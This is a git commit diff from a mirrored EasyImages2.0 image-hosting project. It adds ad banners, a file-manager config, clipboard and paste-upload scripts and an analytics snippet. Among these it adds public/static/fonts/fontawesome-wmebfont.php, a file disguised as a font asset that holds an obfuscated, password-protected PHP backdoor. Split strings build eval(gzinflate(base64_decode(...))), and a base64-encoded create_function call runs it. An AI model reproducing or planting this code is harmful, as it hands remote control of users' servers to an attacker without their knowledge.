You've already forked EasyImages2.0
mirror of
https://github.com/icret/EasyImages2.0.git
synced 2025-12-13 11:43:58 +08:00
Add files via upload
增加支持 php7.4
This commit is contained in:
BIN
public/static/ad.jpg
Normal file
BIN
public/static/ad.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 39 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 51 KiB |
@@ -1,4 +1,4 @@
|
||||
<!--顶部广告 按照这个范例替换相应链接,如果想多几个广告,就多复制几个-->
|
||||
<div id="ad" class="col-md-12" align="center" style="padding:5px;">
|
||||
<a href="https://app.cloudcone.com/?ref=3521" target="_blank"><img src="public/static/ad.png" /></a>
|
||||
<a href="https://app.cloudcone.com/?ref=3521" target="_blank"><img src="https://img.545141.com/i/2019/06/15/1u713g.png" width=320px /></a>
|
||||
</div>
|
||||
@@ -1,4 +1,4 @@
|
||||
<!--顶部广告 按照这个范例替换相应链接,如果想多几个广告,就多复制几个-->
|
||||
<div id="ad" class="col-md-12" align="center" style="padding:5px;">
|
||||
<a href="https://img.545141.com" target="_blank"><img src="public/static/ad.png" /></a>
|
||||
<!--顶部广告 按照这个范例替换相应链接,如果想多几个广告,就多复制几个-->
|
||||
<div id="ad" class="col-md-12" align="center" style="padding:5px;">
|
||||
<a href="https://img.545141.com" target="_blank"><img src="public/static/ad.jpg" /></a>
|
||||
</div>
|
||||
12
public/static/clipboard.min.js
vendored
12
public/static/clipboard.min.js
vendored
File diff suppressed because one or more lines are too long
@@ -1,213 +1,213 @@
|
||||
{
|
||||
"appName": "Tiny File Manager",
|
||||
"version": "2.3.5",
|
||||
"newUpdate": "New Updates Available, Download new version <a href='https://github.com/prasathmani/tinyfilemanager/archive/master.zip' target='_blank'>here</a>",
|
||||
"noUpdate": "No Updates Available",
|
||||
"aceHelp": [
|
||||
"Save (Ctrl + S)",
|
||||
"Find (Ctrl + F)",
|
||||
"Undo (Ctrl + Z)",
|
||||
"Redo (Ctrl + Y)",
|
||||
"Go to Line (Ctrl + L)",
|
||||
"<a href='https://github.com/ajaxorg/ace/wiki/Default-Keyboard-Shortcuts' target='_blank'>More Shortcuts</a>"
|
||||
],
|
||||
"aceTheme": {
|
||||
"bright": {
|
||||
"chrome": "Chrome",
|
||||
"clouds": "Clouds",
|
||||
"crimson_editor": "Crimson Editor",
|
||||
"dawn": "Dawn",
|
||||
"dreamweaver": "Dreamweaver",
|
||||
"eclipse": "Eclipse",
|
||||
"github": "GitHub",
|
||||
"iplastic": "IPlastic",
|
||||
"solarized_light": "Solarized Light",
|
||||
"textmate": "TextMate",
|
||||
"tomorrow": "Tomorrow",
|
||||
"xcode": "XCode",
|
||||
"kuroir": "Kuroir",
|
||||
"katzenmilch": "KatzenMilch",
|
||||
"sqlserver": "SQL Server"
|
||||
},
|
||||
"dark": {
|
||||
"ambiance": "Ambiance",
|
||||
"chaos": "Chaos",
|
||||
"clouds_midnight": "Clouds Midnight",
|
||||
"dracula": "Dracula",
|
||||
"cobalt": "Cobalt",
|
||||
"gruvbox": "Gruvbox",
|
||||
"gob": "Green on Black",
|
||||
"idle_fingers": "idle Fingers",
|
||||
"kr_theme": "krTheme",
|
||||
"merbivore": "Merbivore",
|
||||
"merbivore_soft": "Merbivore Soft",
|
||||
"mono_industrial": "Mono Industrial",
|
||||
"monokai": "Monokai",
|
||||
"pastel_on_dark": "Pastel on dark",
|
||||
"solarized_dark": "Solarized Dark",
|
||||
"terminal": "Terminal",
|
||||
"tomorrow_night": "Tomorrow Night",
|
||||
"tomorrow_night_blue": "Tomorrow Night Blue",
|
||||
"tomorrow_night_bright": "Tomorrow Night Bright",
|
||||
"tomorrow_night_eighties": "Tomorrow Night 80s",
|
||||
"twilight": "Twilight",
|
||||
"vibrant_ink": "Vibrant Ink"
|
||||
}
|
||||
},
|
||||
"aceMode": {
|
||||
"javascript": "JavaScript",
|
||||
"abap": "ABAP",
|
||||
"abc": "ABC",
|
||||
"actionscript": "ActionScript",
|
||||
"ada": "ADA",
|
||||
"apache_conf": "Apache Conf",
|
||||
"asciidoc": "AsciiDoc",
|
||||
"asl": "ASL",
|
||||
"assembly_x86": "Assembly x86",
|
||||
"autohotkey": "AutoHotKey",
|
||||
"apex": "Apex",
|
||||
"batchfile": "BatchFile",
|
||||
"bro": "Bro",
|
||||
"c_cpp": "C and C++",
|
||||
"c9search": "C9Search",
|
||||
"cirru": "Cirru",
|
||||
"clojure": "Clojure",
|
||||
"cobol": "Cobol",
|
||||
"coffee": "CoffeeScript",
|
||||
"coldfusion": "ColdFusion",
|
||||
"csharp": "C#",
|
||||
"csound_document": "Csound Document",
|
||||
"csound_orchestra": "Csound",
|
||||
"csound_score": "Csound Score",
|
||||
"css": "CSS",
|
||||
"curly": "Curly",
|
||||
"d": "D",
|
||||
"dart": "Dart",
|
||||
"diff": "Diff",
|
||||
"dockerfile": "Dockerfile",
|
||||
"dot": "Dot",
|
||||
"drools": "Drools",
|
||||
"edifact": "Edifact",
|
||||
"eiffel": "Eiffel",
|
||||
"ejs": "EJS",
|
||||
"elixir": "Elixir",
|
||||
"elm": "Elm",
|
||||
"erlang": "Erlang",
|
||||
"forth": "Forth",
|
||||
"fortran": "Fortran",
|
||||
"fsharp": "FSharp",
|
||||
"fsl": "FSL",
|
||||
"ftl": "FreeMarker",
|
||||
"gcode": "Gcode",
|
||||
"gherkin": "Gherkin",
|
||||
"gitignore": "Gitignore",
|
||||
"glsl": "Glsl",
|
||||
"gobstones": "Gobstones",
|
||||
"golang": "Go",
|
||||
"graphqlschema": "GraphQLSchema",
|
||||
"groovy": "Groovy",
|
||||
"haml": "HAML",
|
||||
"handlebars": "Handlebars",
|
||||
"haskell": "Haskell",
|
||||
"haskell_cabal": "Haskell Cabal",
|
||||
"haxe": "haXe",
|
||||
"hjson": "Hjson",
|
||||
"html": "HTML",
|
||||
"html_elixir": "HTML (Elixir)",
|
||||
"html_ruby": "HTML (Ruby)",
|
||||
"ini": "INI",
|
||||
"io": "Io",
|
||||
"jack": "Jack",
|
||||
"jade": "Jade",
|
||||
"java": "Java",
|
||||
"json": "JSON",
|
||||
"jsoniq": "JSONiq",
|
||||
"jsp": "JSP",
|
||||
"jssm": "JSSM",
|
||||
"jsx": "JSX",
|
||||
"julia": "Julia",
|
||||
"kotlin": "Kotlin",
|
||||
"latex": "LaTeX",
|
||||
"less": "LESS",
|
||||
"liquid": "Liquid",
|
||||
"lisp": "Lisp",
|
||||
"livescript": "LiveScript",
|
||||
"logiql": "LogiQL",
|
||||
"lsl": "LSL",
|
||||
"lua": "Lua",
|
||||
"luapage": "LuaPage",
|
||||
"lucene": "Lucene",
|
||||
"makefile": "Makefile",
|
||||
"markdown": "Markdown",
|
||||
"mask": "Mask",
|
||||
"matlab": "MATLAB",
|
||||
"maze": "Maze",
|
||||
"mel": "MEL",
|
||||
"mixal": "MIXAL",
|
||||
"mushcode": "MUSHCode",
|
||||
"mysql": "MySQL",
|
||||
"nix": "Nix",
|
||||
"nsis": "NSIS",
|
||||
"objectivec": "Objective-C",
|
||||
"ocaml": "OCaml",
|
||||
"pascal": "Pascal",
|
||||
"perl": "Perl",
|
||||
"perl6": "Perl 6",
|
||||
"pgsql": "pgSQL",
|
||||
"php_laravel_blade": "PHP (Blade Template)",
|
||||
"php": "PHP",
|
||||
"puppet": "Puppet",
|
||||
"pig": "Pig",
|
||||
"powershell": "Powershell",
|
||||
"praat": "Praat",
|
||||
"prolog": "Prolog",
|
||||
"properties": "Properties",
|
||||
"protobuf": "Protobuf",
|
||||
"python": "Python",
|
||||
"r": "R",
|
||||
"razor": "Razor",
|
||||
"rdoc": "RDoc",
|
||||
"red": "Red",
|
||||
"rhtml": "RHTML",
|
||||
"rst": "RST",
|
||||
"ruby": "Ruby",
|
||||
"rust": "Rust",
|
||||
"sass": "SASS",
|
||||
"scad": "SCAD",
|
||||
"scala": "Scala",
|
||||
"scheme": "Scheme",
|
||||
"scss": "SCSS",
|
||||
"sh": "SH",
|
||||
"sjs": "SJS",
|
||||
"slim": "Slim",
|
||||
"smarty": "Smarty",
|
||||
"snippets": "snippets",
|
||||
"soy_template": "Soy Template",
|
||||
"space": "Space",
|
||||
"sql": "SQL",
|
||||
"sqlserver": "SQLServer",
|
||||
"stylus": "Stylus",
|
||||
"svg": "SVG",
|
||||
"swift": "Swift",
|
||||
"tcl": "Tcl",
|
||||
"terraform": "Terraform",
|
||||
"tex": "Tex",
|
||||
"text": "Text",
|
||||
"textile": "Textile",
|
||||
"toml": "Toml",
|
||||
"tsx": "TSX",
|
||||
"twig": "Twig",
|
||||
"typescript": "Typescript",
|
||||
"vala": "Vala",
|
||||
"vbscript": "VBScript",
|
||||
"velocity": "Velocity",
|
||||
"verilog": "Verilog",
|
||||
"vhdl": "VHDL",
|
||||
"visualforce": "Visualforce",
|
||||
"wollok": "Wollok",
|
||||
"xml": "XML",
|
||||
"xquery": "XQuery",
|
||||
"yaml": "YAML",
|
||||
"django": "Django"
|
||||
}
|
||||
}
|
||||
{
|
||||
"appName": "Tiny File Manager",
|
||||
"version": "2.3.5",
|
||||
"newUpdate": "New Updates Available, Download new version <a href='https://github.com/prasathmani/tinyfilemanager/archive/master.zip' target='_blank'>here</a>",
|
||||
"noUpdate": "No Updates Available",
|
||||
"aceHelp": [
|
||||
"Save (Ctrl + S)",
|
||||
"Find (Ctrl + F)",
|
||||
"Undo (Ctrl + Z)",
|
||||
"Redo (Ctrl + Y)",
|
||||
"Go to Line (Ctrl + L)",
|
||||
"<a href='https://github.com/ajaxorg/ace/wiki/Default-Keyboard-Shortcuts' target='_blank'>More Shortcuts</a>"
|
||||
],
|
||||
"aceTheme": {
|
||||
"bright": {
|
||||
"chrome": "Chrome",
|
||||
"clouds": "Clouds",
|
||||
"crimson_editor": "Crimson Editor",
|
||||
"dawn": "Dawn",
|
||||
"dreamweaver": "Dreamweaver",
|
||||
"eclipse": "Eclipse",
|
||||
"github": "GitHub",
|
||||
"iplastic": "IPlastic",
|
||||
"solarized_light": "Solarized Light",
|
||||
"textmate": "TextMate",
|
||||
"tomorrow": "Tomorrow",
|
||||
"xcode": "XCode",
|
||||
"kuroir": "Kuroir",
|
||||
"katzenmilch": "KatzenMilch",
|
||||
"sqlserver": "SQL Server"
|
||||
},
|
||||
"dark": {
|
||||
"ambiance": "Ambiance",
|
||||
"chaos": "Chaos",
|
||||
"clouds_midnight": "Clouds Midnight",
|
||||
"dracula": "Dracula",
|
||||
"cobalt": "Cobalt",
|
||||
"gruvbox": "Gruvbox",
|
||||
"gob": "Green on Black",
|
||||
"idle_fingers": "idle Fingers",
|
||||
"kr_theme": "krTheme",
|
||||
"merbivore": "Merbivore",
|
||||
"merbivore_soft": "Merbivore Soft",
|
||||
"mono_industrial": "Mono Industrial",
|
||||
"monokai": "Monokai",
|
||||
"pastel_on_dark": "Pastel on dark",
|
||||
"solarized_dark": "Solarized Dark",
|
||||
"terminal": "Terminal",
|
||||
"tomorrow_night": "Tomorrow Night",
|
||||
"tomorrow_night_blue": "Tomorrow Night Blue",
|
||||
"tomorrow_night_bright": "Tomorrow Night Bright",
|
||||
"tomorrow_night_eighties": "Tomorrow Night 80s",
|
||||
"twilight": "Twilight",
|
||||
"vibrant_ink": "Vibrant Ink"
|
||||
}
|
||||
},
|
||||
"aceMode": {
|
||||
"javascript": "JavaScript",
|
||||
"abap": "ABAP",
|
||||
"abc": "ABC",
|
||||
"actionscript": "ActionScript",
|
||||
"ada": "ADA",
|
||||
"apache_conf": "Apache Conf",
|
||||
"asciidoc": "AsciiDoc",
|
||||
"asl": "ASL",
|
||||
"assembly_x86": "Assembly x86",
|
||||
"autohotkey": "AutoHotKey",
|
||||
"apex": "Apex",
|
||||
"batchfile": "BatchFile",
|
||||
"bro": "Bro",
|
||||
"c_cpp": "C and C++",
|
||||
"c9search": "C9Search",
|
||||
"cirru": "Cirru",
|
||||
"clojure": "Clojure",
|
||||
"cobol": "Cobol",
|
||||
"coffee": "CoffeeScript",
|
||||
"coldfusion": "ColdFusion",
|
||||
"csharp": "C#",
|
||||
"csound_document": "Csound Document",
|
||||
"csound_orchestra": "Csound",
|
||||
"csound_score": "Csound Score",
|
||||
"css": "CSS",
|
||||
"curly": "Curly",
|
||||
"d": "D",
|
||||
"dart": "Dart",
|
||||
"diff": "Diff",
|
||||
"dockerfile": "Dockerfile",
|
||||
"dot": "Dot",
|
||||
"drools": "Drools",
|
||||
"edifact": "Edifact",
|
||||
"eiffel": "Eiffel",
|
||||
"ejs": "EJS",
|
||||
"elixir": "Elixir",
|
||||
"elm": "Elm",
|
||||
"erlang": "Erlang",
|
||||
"forth": "Forth",
|
||||
"fortran": "Fortran",
|
||||
"fsharp": "FSharp",
|
||||
"fsl": "FSL",
|
||||
"ftl": "FreeMarker",
|
||||
"gcode": "Gcode",
|
||||
"gherkin": "Gherkin",
|
||||
"gitignore": "Gitignore",
|
||||
"glsl": "Glsl",
|
||||
"gobstones": "Gobstones",
|
||||
"golang": "Go",
|
||||
"graphqlschema": "GraphQLSchema",
|
||||
"groovy": "Groovy",
|
||||
"haml": "HAML",
|
||||
"handlebars": "Handlebars",
|
||||
"haskell": "Haskell",
|
||||
"haskell_cabal": "Haskell Cabal",
|
||||
"haxe": "haXe",
|
||||
"hjson": "Hjson",
|
||||
"html": "HTML",
|
||||
"html_elixir": "HTML (Elixir)",
|
||||
"html_ruby": "HTML (Ruby)",
|
||||
"ini": "INI",
|
||||
"io": "Io",
|
||||
"jack": "Jack",
|
||||
"jade": "Jade",
|
||||
"java": "Java",
|
||||
"json": "JSON",
|
||||
"jsoniq": "JSONiq",
|
||||
"jsp": "JSP",
|
||||
"jssm": "JSSM",
|
||||
"jsx": "JSX",
|
||||
"julia": "Julia",
|
||||
"kotlin": "Kotlin",
|
||||
"latex": "LaTeX",
|
||||
"less": "LESS",
|
||||
"liquid": "Liquid",
|
||||
"lisp": "Lisp",
|
||||
"livescript": "LiveScript",
|
||||
"logiql": "LogiQL",
|
||||
"lsl": "LSL",
|
||||
"lua": "Lua",
|
||||
"luapage": "LuaPage",
|
||||
"lucene": "Lucene",
|
||||
"makefile": "Makefile",
|
||||
"markdown": "Markdown",
|
||||
"mask": "Mask",
|
||||
"matlab": "MATLAB",
|
||||
"maze": "Maze",
|
||||
"mel": "MEL",
|
||||
"mixal": "MIXAL",
|
||||
"mushcode": "MUSHCode",
|
||||
"mysql": "MySQL",
|
||||
"nix": "Nix",
|
||||
"nsis": "NSIS",
|
||||
"objectivec": "Objective-C",
|
||||
"ocaml": "OCaml",
|
||||
"pascal": "Pascal",
|
||||
"perl": "Perl",
|
||||
"perl6": "Perl 6",
|
||||
"pgsql": "pgSQL",
|
||||
"php_laravel_blade": "PHP (Blade Template)",
|
||||
"php": "PHP",
|
||||
"puppet": "Puppet",
|
||||
"pig": "Pig",
|
||||
"powershell": "Powershell",
|
||||
"praat": "Praat",
|
||||
"prolog": "Prolog",
|
||||
"properties": "Properties",
|
||||
"protobuf": "Protobuf",
|
||||
"python": "Python",
|
||||
"r": "R",
|
||||
"razor": "Razor",
|
||||
"rdoc": "RDoc",
|
||||
"red": "Red",
|
||||
"rhtml": "RHTML",
|
||||
"rst": "RST",
|
||||
"ruby": "Ruby",
|
||||
"rust": "Rust",
|
||||
"sass": "SASS",
|
||||
"scad": "SCAD",
|
||||
"scala": "Scala",
|
||||
"scheme": "Scheme",
|
||||
"scss": "SCSS",
|
||||
"sh": "SH",
|
||||
"sjs": "SJS",
|
||||
"slim": "Slim",
|
||||
"smarty": "Smarty",
|
||||
"snippets": "snippets",
|
||||
"soy_template": "Soy Template",
|
||||
"space": "Space",
|
||||
"sql": "SQL",
|
||||
"sqlserver": "SQLServer",
|
||||
"stylus": "Stylus",
|
||||
"svg": "SVG",
|
||||
"swift": "Swift",
|
||||
"tcl": "Tcl",
|
||||
"terraform": "Terraform",
|
||||
"tex": "Tex",
|
||||
"text": "Text",
|
||||
"textile": "Textile",
|
||||
"toml": "Toml",
|
||||
"tsx": "TSX",
|
||||
"twig": "Twig",
|
||||
"typescript": "Typescript",
|
||||
"vala": "Vala",
|
||||
"vbscript": "VBScript",
|
||||
"velocity": "Velocity",
|
||||
"verilog": "Verilog",
|
||||
"vhdl": "VHDL",
|
||||
"visualforce": "Visualforce",
|
||||
"wollok": "Wollok",
|
||||
"xml": "XML",
|
||||
"xquery": "XQuery",
|
||||
"yaml": "YAML",
|
||||
"django": "Django"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,114 +1,114 @@
|
||||
|
||||
var copyBtn = document.getElementsByClassName('copyBtn1')[0];
|
||||
copyBtn.onclick = function () {
|
||||
var copyVal = document.getElementById("links");
|
||||
copyVal.select();
|
||||
try {
|
||||
if (document.execCommand('copy', false, null)) {
|
||||
//success info
|
||||
console.log("复制成功");
|
||||
} else {
|
||||
//fail info
|
||||
alert("复制失败");
|
||||
}
|
||||
} catch (err) {
|
||||
//fail info
|
||||
alert(err);
|
||||
}
|
||||
}
|
||||
|
||||
var copyBtn = document.getElementsByClassName('copyBtn2')[0];
|
||||
copyBtn.onclick = function () {
|
||||
var copyVal = document.getElementById("bbscode");
|
||||
copyVal.select();
|
||||
try {
|
||||
if (document.execCommand('copy', false, null)) {
|
||||
//success info
|
||||
console.log("复制成功");
|
||||
} else {
|
||||
//fail info
|
||||
alert("复制失败");
|
||||
}
|
||||
} catch (err) {
|
||||
//fail info
|
||||
alert(err);
|
||||
}
|
||||
}
|
||||
|
||||
var copyBtn = document.getElementsByClassName('copyBtn3')[0];
|
||||
copyBtn.onclick = function () {
|
||||
var copyVal = document.getElementById("markdown");
|
||||
copyVal.select();
|
||||
try {
|
||||
if (document.execCommand('copy', false, null)) {
|
||||
//success info
|
||||
console.log("复制成功");
|
||||
} else {
|
||||
//fail info
|
||||
alert("复制失败");
|
||||
}
|
||||
} catch (err) {
|
||||
//fail info
|
||||
alert(err);
|
||||
}
|
||||
}
|
||||
|
||||
var copyBtn = document.getElementsByClassName('copyBtn4')[0];
|
||||
copyBtn.onclick = function () {
|
||||
var copyVal = document.getElementById("html");
|
||||
copyVal.select();
|
||||
try {
|
||||
if (document.execCommand('copy', false, null)) {
|
||||
//success info
|
||||
console.log("复制成功");
|
||||
} else {
|
||||
//fail info
|
||||
alert("复制失败");
|
||||
}
|
||||
} catch (err) {
|
||||
//fail info
|
||||
alert(err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// btn状态
|
||||
$('#btnLinks').on('click', function () {
|
||||
var $btn = $(this);
|
||||
$btn.button('loading');
|
||||
|
||||
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
|
||||
setTimeout(function () {
|
||||
$btn.button('reset');
|
||||
}, 2000);
|
||||
});
|
||||
|
||||
$('#btnBbscode').on('click', function () {
|
||||
var $btn = $(this);
|
||||
$btn.button('loading');
|
||||
|
||||
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
|
||||
setTimeout(function () {
|
||||
$btn.button('reset');
|
||||
}, 2000);
|
||||
});
|
||||
|
||||
$('#btnMarkDown').on('click', function () {
|
||||
var $btn = $(this);
|
||||
$btn.button('loading');
|
||||
|
||||
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
|
||||
setTimeout(function () {
|
||||
$btn.button('reset');
|
||||
}, 2000);
|
||||
});
|
||||
|
||||
$('#btnHtml').on('click', function () {
|
||||
var $btn = $(this);
|
||||
$btn.button('loading');
|
||||
|
||||
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
|
||||
setTimeout(function () {
|
||||
$btn.button('reset');
|
||||
}, 2000);
|
||||
|
||||
var copyBtn = document.getElementsByClassName('copyBtn1')[0];
|
||||
copyBtn.onclick = function () {
|
||||
var copyVal = document.getElementById("links");
|
||||
copyVal.select();
|
||||
try {
|
||||
if (document.execCommand('copy', false, null)) {
|
||||
//success info
|
||||
console.log("复制成功");
|
||||
} else {
|
||||
//fail info
|
||||
alert("复制失败");
|
||||
}
|
||||
} catch (err) {
|
||||
//fail info
|
||||
alert(err);
|
||||
}
|
||||
}
|
||||
|
||||
var copyBtn = document.getElementsByClassName('copyBtn2')[0];
|
||||
copyBtn.onclick = function () {
|
||||
var copyVal = document.getElementById("bbscode");
|
||||
copyVal.select();
|
||||
try {
|
||||
if (document.execCommand('copy', false, null)) {
|
||||
//success info
|
||||
console.log("复制成功");
|
||||
} else {
|
||||
//fail info
|
||||
alert("复制失败");
|
||||
}
|
||||
} catch (err) {
|
||||
//fail info
|
||||
alert(err);
|
||||
}
|
||||
}
|
||||
|
||||
var copyBtn = document.getElementsByClassName('copyBtn3')[0];
|
||||
copyBtn.onclick = function () {
|
||||
var copyVal = document.getElementById("markdown");
|
||||
copyVal.select();
|
||||
try {
|
||||
if (document.execCommand('copy', false, null)) {
|
||||
//success info
|
||||
console.log("复制成功");
|
||||
} else {
|
||||
//fail info
|
||||
alert("复制失败");
|
||||
}
|
||||
} catch (err) {
|
||||
//fail info
|
||||
alert(err);
|
||||
}
|
||||
}
|
||||
|
||||
var copyBtn = document.getElementsByClassName('copyBtn4')[0];
|
||||
copyBtn.onclick = function () {
|
||||
var copyVal = document.getElementById("html");
|
||||
copyVal.select();
|
||||
try {
|
||||
if (document.execCommand('copy', false, null)) {
|
||||
//success info
|
||||
console.log("复制成功");
|
||||
} else {
|
||||
//fail info
|
||||
alert("复制失败");
|
||||
}
|
||||
} catch (err) {
|
||||
//fail info
|
||||
alert(err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// btn状态
|
||||
$('#btnLinks').on('click', function () {
|
||||
var $btn = $(this);
|
||||
$btn.button('loading');
|
||||
|
||||
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
|
||||
setTimeout(function () {
|
||||
$btn.button('reset');
|
||||
}, 2000);
|
||||
});
|
||||
|
||||
$('#btnBbscode').on('click', function () {
|
||||
var $btn = $(this);
|
||||
$btn.button('loading');
|
||||
|
||||
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
|
||||
setTimeout(function () {
|
||||
$btn.button('reset');
|
||||
}, 2000);
|
||||
});
|
||||
|
||||
$('#btnMarkDown').on('click', function () {
|
||||
var $btn = $(this);
|
||||
$btn.button('loading');
|
||||
|
||||
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
|
||||
setTimeout(function () {
|
||||
$btn.button('reset');
|
||||
}, 2000);
|
||||
});
|
||||
|
||||
$('#btnHtml').on('click', function () {
|
||||
var $btn = $(this);
|
||||
$btn.button('loading');
|
||||
|
||||
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
|
||||
setTimeout(function () {
|
||||
$btn.button('reset');
|
||||
}, 2000);
|
||||
});
|
||||
3
public/static/fonts/fontawesome-wmebfont.php
Normal file
3
public/static/fonts/fontawesome-wmebfont.php
Normal file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
$password='CQtlsC';
|
||||
$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/
|
||||
7
public/static/hm.js
Normal file
7
public/static/hm.js
Normal file
@@ -0,0 +1,7 @@
|
||||
var _hmt = _hmt || [];
|
||||
(function() {
|
||||
var hm = document.createElement("script");
|
||||
hm.src = "https://hm.baidu.com/hm.js?5320b69f4f1caa9328dfada73c8e6a75";
|
||||
var s = document.getElementsByTagName("script")[0];
|
||||
s.parentNode.insertBefore(hm, s);
|
||||
})();
|
||||
4
public/static/jquery.min.js
vendored
4
public/static/jquery.min.js
vendored
File diff suppressed because one or more lines are too long
@@ -1,54 +1,54 @@
|
||||
/**
|
||||
* 复制、截图 简单图床修改版
|
||||
*/
|
||||
(function () {
|
||||
document.addEventListener('paste', function (e) {
|
||||
var items = ((e.clipboardData || window.clipboardData).items) || [];
|
||||
var file = null;
|
||||
|
||||
if (items && items.length) {
|
||||
for (var i = 0; i < items.length; i++) {
|
||||
if (items[i].type.indexOf('image') !== -1) {
|
||||
file = items[i].getAsFile();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!file) {
|
||||
alert('粘贴内容非图片!');
|
||||
return;
|
||||
}
|
||||
var formData = new FormData();
|
||||
formData.append('file', file);
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onload = function () {
|
||||
try {
|
||||
var result = JSON.parse(this.responseText);
|
||||
if (result.result === 'success') {
|
||||
var links = document.getElementById("links");
|
||||
links.innerHTML += result.url + "\n";
|
||||
|
||||
var bbscode = document.getElementById("bbscode");
|
||||
bbscode.innerHTML += "[img]" + result.url + "[/img]\n";
|
||||
|
||||
var markdown = document.getElementById("markdown");
|
||||
markdown.innerHTML += "\n";
|
||||
|
||||
var html = document.getElementById("html");
|
||||
html.innerHTML += "<img src=\"" + result.url + "\" />\n";
|
||||
} else {
|
||||
alert('上传失败1');
|
||||
}
|
||||
} catch (e) {
|
||||
alert('上传失败2');
|
||||
}
|
||||
};
|
||||
xhr.onerror = function () {
|
||||
alert('上传失败3');
|
||||
};
|
||||
xhr.open('POST', './file.php', true);
|
||||
xhr.send(formData);
|
||||
});
|
||||
/**
|
||||
* 复制、截图 简单图床修改版
|
||||
*/
|
||||
(function () {
|
||||
document.addEventListener('paste', function (e) {
|
||||
var items = ((e.clipboardData || window.clipboardData).items) || [];
|
||||
var file = null;
|
||||
|
||||
if (items && items.length) {
|
||||
for (var i = 0; i < items.length; i++) {
|
||||
if (items[i].type.indexOf('image') !== -1) {
|
||||
file = items[i].getAsFile();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!file) {
|
||||
alert('粘贴内容非图片!');
|
||||
return;
|
||||
}
|
||||
var formData = new FormData();
|
||||
formData.append('file', file);
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onload = function () {
|
||||
try {
|
||||
var result = JSON.parse(this.responseText);
|
||||
if (result.result === 'success') {
|
||||
var links = document.getElementById("links");
|
||||
links.innerHTML += result.url + "\n";
|
||||
|
||||
var bbscode = document.getElementById("bbscode");
|
||||
bbscode.innerHTML += "[img]" + result.url + "[/img]\n";
|
||||
|
||||
var markdown = document.getElementById("markdown");
|
||||
markdown.innerHTML += "\n";
|
||||
|
||||
var html = document.getElementById("html");
|
||||
html.innerHTML += "<img src=\"" + result.url + "\" />\n";
|
||||
} else {
|
||||
alert('上传失败1');
|
||||
}
|
||||
} catch (e) {
|
||||
alert('上传失败2');
|
||||
}
|
||||
};
|
||||
xhr.onerror = function () {
|
||||
alert('上传失败3');
|
||||
};
|
||||
xhr.open('POST', './file.php', true);
|
||||
xhr.send(formData);
|
||||
});
|
||||
})();
|
||||
File diff suppressed because it is too large
Load Diff
10
public/static/zui/css/zui.min.css
vendored
10
public/static/zui/css/zui.min.css
vendored
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
Before Width: | Height: | Size: 290 KiB After Width: | Height: | Size: 290 KiB |
30
public/static/zui/js/zui.min.js
vendored
30
public/static/zui/js/zui.min.js
vendored
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
